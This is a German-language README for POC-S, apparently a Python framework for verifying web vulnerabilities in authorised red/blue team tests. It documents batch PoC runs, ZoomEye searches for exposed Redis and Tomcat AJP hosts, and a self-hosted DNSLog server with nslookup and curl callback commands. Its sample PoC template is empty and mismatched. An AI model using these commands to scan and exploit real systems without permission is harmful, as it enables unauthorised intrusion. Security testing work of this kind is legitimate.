
POC-T-Erweiterungsversion POC-S, zur schnellen Verifizierung von Webanwendungs-Schwachstellen in Red-Blue-Team-Übungen, mit erweiterten Funktionen sowie kategorisiert hinzugefügten Skripten, inklusive integriertem dnslog usw. Die Plattform ergänzt hochverfügbare POCs aus vulhub-Zielumgebungen und anderen Open-Source-Projekten.
Die Wiki-Dokumentation von POC-T befindet sich im doc-Verzeichnis
Vorwort: Derzeit
Ohne vorherige Zustimmung beider Parteien ist die Verwendung von POC-S zum Angriff auf ein Ziel illegal. POC-S dient ausschließlich Sicherheitstestzwecken.
pocs/poc-s, um das Framework und die PoCs zu trennen. Eigene PoCs können in beliebigen Verzeichnissen abgelegt werdenTODO
--init-Parameter zum dynamischen Aktualisieren der tookit.conf-Konfigurationsdatei bereitstellen, z. B. --init zoomeye, initialisiert die Konfiguration von ZoomEyeceye.py und dnslog.py hinzugefügtpocsapi.py hinzufügen, ähnlich der Funktion von sqlmapapiDa Schnittstellen von Drittanbietern Authentifizierung benötigen, können Sie über den
--init-Parameter Ihre entsprechenden Schnittstellenkonfigurationen initialisieren, z. B.--init zoomeye
pip install pocs
Quellinstallation:
git clone https://github.com/jiangsir404/POC-S.git
mv pocs/toolkit.conf.bak mv pocs/toolkit.conf
python setup.py install
Wenn bei der Installation von POC-S mit pip ein Fehler wie "Some files missing" auftritt, gehen Sie zum Installationsverzeichnis von pocs (python2.7\Lib\site-packages\pocs) und benennen Sie
tookit.confum. Falls der FehlerWARNING: Generating metadata for package cachetools produced metadata for project name unknown. Fix your #egg=cachetools fragments.auftritt, handelt es sich um ein Abhängigkeitsproblem. Bitte überprüfen und aktualisieren Sie die Versionen dieser Pakete: setuptools==39.0.1, cachetools==3.1.1, google-api-python-client==1.7.11
pocs -s test/test2.py -iS 127.0.0.1 # Lädt das Skript script/test/test2.py
pocs -s test2 -iS 127.0.0.1 # Lädt das Skript script/test2.py
pocs -b test -iS 127.0.0.1 # Batch-Laden aller Skripte im /script/test-Verzeichnis
pocs -b test -s test2.py -iS 127.0.0.1 # Lädt das Skript script/test/test2.py
pocs -s myself_script.py -iS 127.0.0.1 # Lädt eigene Skripte und Skriptverzeichnisse
pocs -b mydir -iS 127.0.0.1
pocs --init zoomeye // Initialisiert die ZoomEye-Konfiguration
pocs -b redis -t 50 -aZ "port:6379" --limit 50 -o res.txt
pocs -s test2.py -aZ "ThinkPHP"
Mit ZoomEye nach CNVD-2020-10487 Tomcat AJP LFI-Schwachstelle suchen
pip install pocs
pocs -b apache -aZ "app:tomcat" --limit 50 -t 30 -o ajp.txt

Wenn Sie immer noch mit der Instabilität von ceye zu kämpfen haben und keine Zeit/Energie haben, eine DNSLog-Plattform aufzubauen (zwei Domänen, eine öffentliche IP, und die Domäne muss in der Lage sein, den DNS-Server zu ändern), dann probieren Sie doch die einfache DNSLog-Plattform von POC-S. Sie benötigen nur eine Domäne und eine öffentliche IP, um sie einzurichten. Sie bietet API-Schnittstellen zur Verifizierung (keine Benutzeroberfläche).
Angenommen, dnslog.xxx.cn ist Ihre öffentliche Domäne und x.x.x.x ist die öffentliche IP. Stellen Sie sicher, dass dnslog.xxx.cn korrekt auf x.x.x.x aufgelöst werden kann, da sonst der API-Zugriff nicht funktioniert.
Führen Sie auf dem öffentlichen Server (x.x.x.x) den folgenden Befehl aus:
pip install pocs
pocs_dnslog -h 0.0.0.0 -p 88 (Wenn nicht per pip installiert, führen Sie direkt das Skript pocs.dnslog.py aus)
>>> dns domain: dnslog.xxx.cn
>>> api key: rivir
>>>dns ip: x.x.x.x
DNS-Log-Befehl, unterstützt nur den Befehl nslookup: nslookup 1234.dnslog.xxx.cn x.x.x.x
Wenn Sie den Befehl
ping 1234.dnslog.xxx.cnverwenden möchten, können Sie für die Domänexxx.cneinen benutzerdefinierten DNS-Server konfigurieren (siehe Konfiguration von DNSLog).
Web-Log-Befehl: curl http://dnslog.xxx.cn:88/weblog/poc123
API-Endpunkt: http://x.x.x.x:88/api/?token={token}&type={dns}&filter=1234.dnslog.xxx.cn
Parameter:
- token (erforderlich): Der bei der Einrichtung von DNSLog eingegebene API-Schlüssel
- type (erforderlich): Mögliche Werte: dns/web
- filter (optional): Filtert Einträge heraus (exakte Übereinstimmung)
pocs bietet noch flexiblere Plugin-Kategorisierungsmöglichkeiten. Derzeit werden vier Arten von PoCs gesammelt: Fuzz PoC, OWASP PoC, Vuln PoC, Tool PoC. Es werden so viele PoCs wie möglich aus GitHub gesammelt, aber nicht zu viele – die individuelle Sammlung und Organisation bleibt Ihnen überlassen.
Die PoC-Erstellung sollte möglichst standardisiert erfolgen und dem Schreibstil von POC-T folgen. Beispiel:
#!/usr/bin/env python
#coding:utf-8
"""
ThinkPHP5 <=5.0.22/<=5.1.29 Remote Code Execution
Desc
Am 10. Dezember 2018 veröffentlichte das offizielle ThinkPHP-Konto eine Aktualisierung, die eine hochriskante Schwachstelle in allen Versionen der 5.x-Reihe offenlegte.
Aufgrund unzureichender Prüfung des Controllernamens kann es bei nicht aktiviertem erzwungenem Routing zu einer möglichen Getshell-Schwachstelle kommen.
Betroffene Versionen sind alle vor 5.0.23 und 5.1.31. Es wird empfohlen, so schnell wie möglich auf die neueste Version zu aktualisieren.
Version
ThinkPHP5.0 Version <= 5.0.22 ThinkPHP5.1 Version <= 5.1.29
Usage:
1. python POC-S.py -s
2. POC: /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://lj.s7star.cn/info.txt
Referer
https://www.seebug.org/vuldb/ssvid-9771
"""
import requests
def poc(url):
pass
Hauptsächlich von Vulhub-Plugins und den mitgelieferten Plugins von POC-T abgeleitet. Es werden nur hochverfügbare PoCs hinzugefügt. Die unten aufgeführten PoCs wurden fast alle in selbst eingerichteten Umgebungen getestet und als funktionsfähig befunden. Bei fehlerhaften PoCs kontaktieren Sie mich bitte über Issues.
Quelle: boy-hack/POC-T
Quelle: Erkennungsskripte von Hunter
Einige gängige Tool-PoCs, die Suchmaschinen und Informationsabfragefunktionen bieten.
Andere Open-Source-PoCs wie z. B. https://github.com/boy-hack/airbug sammeln einige direkt nutzbare PoCs, aber es gibt eine HackReqeust-Bibliothek in Python 3, die in Python 2 geändert werden muss. Sie können direkt meine angepasste py2-Bibliothek installieren: https://github.com/jiangsir404/hack-requests